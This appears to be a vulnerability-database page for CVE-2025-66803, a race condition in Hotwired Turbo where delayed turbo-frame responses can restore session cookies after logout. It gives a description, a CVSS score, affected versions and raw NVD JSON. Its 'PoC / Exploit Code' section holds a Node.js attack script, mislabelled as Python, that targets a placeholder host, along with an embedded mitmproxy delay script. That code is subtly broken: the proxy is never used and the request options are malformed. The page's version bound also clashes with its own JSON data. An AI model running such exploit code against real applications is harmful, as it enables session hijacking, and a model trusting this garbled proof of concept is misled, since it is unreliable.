Security Vulnerability Report
中文
CVE-2025-66803 CVSS 4.8 MEDIUM

CVE-2025-66803

Published: 2026-01-20 19:15:50
Last Modified: 2026-01-30 20:03:35

Description

Race condition in the turbo-frame element handler in Hotwired Turbo before 8.0.x causes logout operations to fail when delayed frame responses reapply session cookies after logout. This can be exploited by remote attackers via selective network delays (e.g. delaying requests based on sequence or timing) or by physically proximate attackers when the race condition occurs naturally on shared computers.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:hotwired:turbo:*:*:*:*:*:node.js:*:* - VULNERABLE
Hotwired Turbo < 8.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-66803 Proof of Concept // Race Condition in Hotwired Turbo logout bypass const http = require('http'); const https = require('https'); // Configuration const TARGET_URL = 'https://target-app.example.com'; const ATTACKER_PROXY = 'http://attacker-proxy:8080'; // Simulate delayed frame response attack async function exploitLogoutBypass(sessionCookie) { console.log('[+] Starting CVE-2025-66803 exploitation...'); // Step 1: Monitor logout request console.log('[+] Step 1: Monitoring for logout request...'); // Step 2: Intercept and delay the logout response console.log('[+] Step 2: Intercepting logout request...'); const logoutRequest = await sendRequest({ url: `${TARGET_URL}/logout`, method: 'POST', headers: { 'Cookie': sessionCookie, 'Turbo-Frame': 'logout-frame' } }); // Step 3: Keep old frame request pending console.log('[+] Step 3: Maintaining pending turbo-frame request...'); const pendingFrameRequest = sendRequest({ url: `${TARGET_URL}/api/user-profile`, headers: { 'Cookie': sessionCookie, 'Turbo-Frame': 'user-profile-frame' } }); // Step 4: Delay logout response console.log('[+] Step 4: Delaying logout response by 5 seconds...'); await delay(5000); // Step 5: Allow delayed frame response to reapply cookie console.log('[+] Step 5: Allowing pending frame response...'); await pendingFrameRequest; // Step 6: Verify session still active console.log('[+] Step 6: Verifying session reactivation...'); const verifyResponse = await sendRequest({ url: `${TARGET_URL}/api/user-profile`, headers: { 'Cookie': sessionCookie } }); if (verifyResponse.statusCode === 200) { console.log('[!] Exploitation successful - session still active after logout'); return true; } return false; } function delay(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } function sendRequest(options) { return new Promise((resolve, reject) => { const protocol = options.url.startsWith('https') ? https : http; const req = protocol.request(options, (res) => { let data = ''; res.on('data', chunk => data += chunk); res.on('end', () => resolve({ statusCode: res.statusCode, body: data })); }); req.on('error', reject); req.end(); }); } // MITM Proxy implementation for real-world attack const mitmProxy = ` # Python mitmproxy script for CVE-2025-66803 from mitmproxy import http from mitmproxy.proxy import config import time def request(flow: http.HTTPFlow): # Monitor for logout requests if '/logout' in flow.request.path: # Store the session cookie flow.metadata['original_cookie'] = flow.request.headers.get('Cookie', '') # Mark this as a logout attempt flow.metadata['logout_attempt'] = True # Check for turbo-frame requests if flow.request.headers.get('Turbo-Frame'): flow.metadata['turbo_frame'] = True def response(flow: http.HTTPFlow): # If this is a logout response, delay it if flow.metadata.get('logout_attempt'): print('[+] Intercepting logout response for delay...') time.sleep(5) # Delay logout completion # If a turbo-frame response arrives after logout if flow.metadata.get('turbo_frame') and flow.metadata.get('logout_attempt'): print('[+] Turbo-frame response may reapply session cookies') `; console.log('\n[!] Run with: node cve-2025-66803-poc.js <session_cookie>'); console.log('[!] Or use the mitmproxy script for network-level attacks');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66803", "sourceIdentifier": "[email protected]", "published": "2026-01-20T19:15:49.537", "lastModified": "2026-01-30T20:03:34.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Race condition in the turbo-frame element handler in Hotwired Turbo before 8.0.x causes logout operations to fail when delayed frame responses reapply session cookies after logout. This can be exploited by remote attackers via selective network delays (e.g. delaying requests based on sequence or timing) or by physically proximate attackers when the race condition occurs naturally on shared computers."}, {"lang": "es", "value": "Una condición de carrera en el manejador del elemento turbo-frame en Hotwired Turbo anterior a la versión 8.0.x provoca que las operaciones de cierre de sesión fallen cuando respuestas de frame retrasadas vuelven a aplicar las cookies de sesión después del cierre de sesión. Esto puede ser explotado por atacantes remotos mediante retrasos selectivos en la red (por ejemplo, retrasando solicitudes basándose en la secuencia o el tiempo) o por atacantes físicamente próximos cuando la condición de carrera ocurre naturalmente en ordenadores compartidos."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hotwired:turbo:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "8.0.21", "matchCriteriaId": "04120F0A-E72C-42AA-A547-0812ABDFE630"}]}]}], "references": [{"url": "https://github.com/hotwired/turbo/pull/1399", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch"]}, {"url": "https://github.com/hotwired/turbo/security/advisories/GHSA-qppm-g56g-fpvp", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://turbo.hotwired.dev/handbook/frames", "source": "[email protected]", "tags": ["Product"]}]}}